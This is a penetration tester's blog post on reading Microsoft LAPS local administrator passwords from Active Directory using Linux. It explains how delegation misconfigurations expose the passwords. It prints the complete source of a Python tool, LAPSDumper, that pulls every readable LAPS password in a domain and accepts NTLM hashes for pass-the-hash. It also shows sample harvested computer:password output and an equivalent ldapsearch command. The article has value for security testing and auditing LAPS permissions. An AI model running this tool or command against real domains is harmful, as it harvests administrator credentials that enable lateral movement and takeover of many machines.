Following my previous posts on Managing Active Directory groups from Linux and Alternative ways to Pass the Hash (PtH), I want to cover ways to perform certain attacks or post-exploitation actions from Linux.  I’ve found that there are two parallel ways to operate on an internal network, one being through a compromised (typically Windows) host, and one being from a “dropbox” typically running Kali Linux or similar OS.  The former being more popular on “red team” type engagements, and the latter more for traditional internal penetration testing.  As a penetration tester who works primarily off of a Linux host, I prefer to use tooling native to my own system.

Today’s topic is about how to dump LAPS passwords from Linux.  If you have not yet heard of LAPS, it is Microsoft’s solution to the problem of local administrator password re-use. Before LAPS, administrators would typically set the RID 500 account password to the same value on every computer.  This was so that they could access a machine in the event that domain authentication was not available or desired. One password was used for all systems as it wasn’t practical or simple to manage that many unique passwords.  This of course was then exploited by penetration testers for decades, as they could compromise a single host, dump the RID 500 password hash, and use it to authenticate to any computer on the domain via the local admin account.

The way LAPS works is relatively simple.  A client side component on each computer generates a random password.  The password gets stored in Active Directory, in an attribute of the computer object.  Only Domain Admins are able to view the value of the attribute.  The client generates a new password every so often as determined by the configuration and updates Active Directory with the new password and the expiration time.

Like most Active Directory issues, the problems stem from misconfigurations.  Typically users who are not in the Domain Admins group will need local admin access to systems, such as helpdesk personnel.  Because of this, the ability to read LAPS passwords for computer objects will be delegated to other groups beyond just the Domain Admins group.  This may be all computer objects or just objects within a certain OU.  Over time, this privilege will often be granted to groups that it should not have been.  Also, if an account or group has ownership over a computer object, they can modify permissions on the system to be able to view the password.

Personally I’ve seen multiple cases in which regular domain users are able to read LAPS passwords, either just for a few systems or 50+ within the domain.

If you have the permissions, reading this attribute is easy by using the PowerShell Get-AdmPwdPassword cmdlet. The objective of this post however is to describe how to do this without needing any access to a Windows host.

To do this from Linux, you can use LAPSDumper.  This is available on Github, but I’ll also paste the full source here as the code is quite simple.

#!/usr/bin/env python3
from ldap3 import ALL, Server, Connection, NTLM, extend, SUBTREE
import argparse

parser = argparse.ArgumentParser(description='Dump LAPS Passwords')
parser.add_argument('-u','--username', help='username for LDAP', required=True)
parser.add_argument('-p','--password', help='password for LDAP (or LM:NT hash)',required=True)
parser.add_argument('-l','--ldapserver', help='LDAP server (or domain)', required=False)
parser.add_argument('-d','--domain', help='Domain', required=True)

def base_creator(domain):
search_base = ""
base = domain.split(".")
for b in base:
search_base += "DC=" + b + ","
return search_base[:-1]

def main():
args = parser.parse_args()
if args.ldapserver:
s = Server(args.ldapserver, get_info=ALL)
else:
s = Server(args.domain, get_info=ALL)
c = Connection(s, user=args.domain + "\\" + args.username, password=args.password, authentication=NTLM, auto_bind=True)
c.search(search_base=base_creator(args.domain), search_filter='(&(objectCategory=computer)(ms-MCS-AdmPwd=*))',attributes=['ms-MCS-AdmPwd','SAMAccountname'])
for entry in c.entries:
print (str(entry['sAMAccountName']) +":"+ str(entry['ms-Mcs-AdmPwd']))

if __name__ == "__main__":
main()

This tool will pull every LAPS password the account has access to read within the entire domain.  The usage is simple, and the syntax mirrors that of other popular tools.  It is also pass the hash (PtH) compatible.

$ python laps.py -u user -p password -d domain.local

COMPUTER01$:B#g4%aI$K!yZ)q}
COMPUTER02$:n-6pW-n8L!o8Of]
COMPUTER03$:u2Oc9z&{R)fHA2J
COMPUTER04$:Rwb2#4,{@N4Y19v
COMPUTER05$:17aZ,+1L5L((D0F
COMPUTER06$:DNX&@e.8XTQhyPj
COMPUTER07$:U3ZXf0vX!Xm1P89
COMPUTER08$:.6IvTd7-85ytJeF
COMPUTER09$:P2(VSN4%49!%fI8

This will dump the computer name and the password for the local administrator account delimited with a colon.  A simple modification of line 27 can allow you to dump it formatted however you please.

Additional reading on LAPS:

https://adsecurity.org/?p=1790
https://adsecurity.org/?p=3164

Update Dec 20, 2020

I forgot to mention, this is also simple to do from ldapsearch, using this syntax or similar:

ldapsearch -x -h  -D "@" -w  -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd

One thing I wanted to add however is the ability to pass the hash. PtH is particularly useful when you dump an IT admin hash that won’t crack, or a when using a compromised machine account.  If you have a plaintext password for the user, ldapsearch works just as well.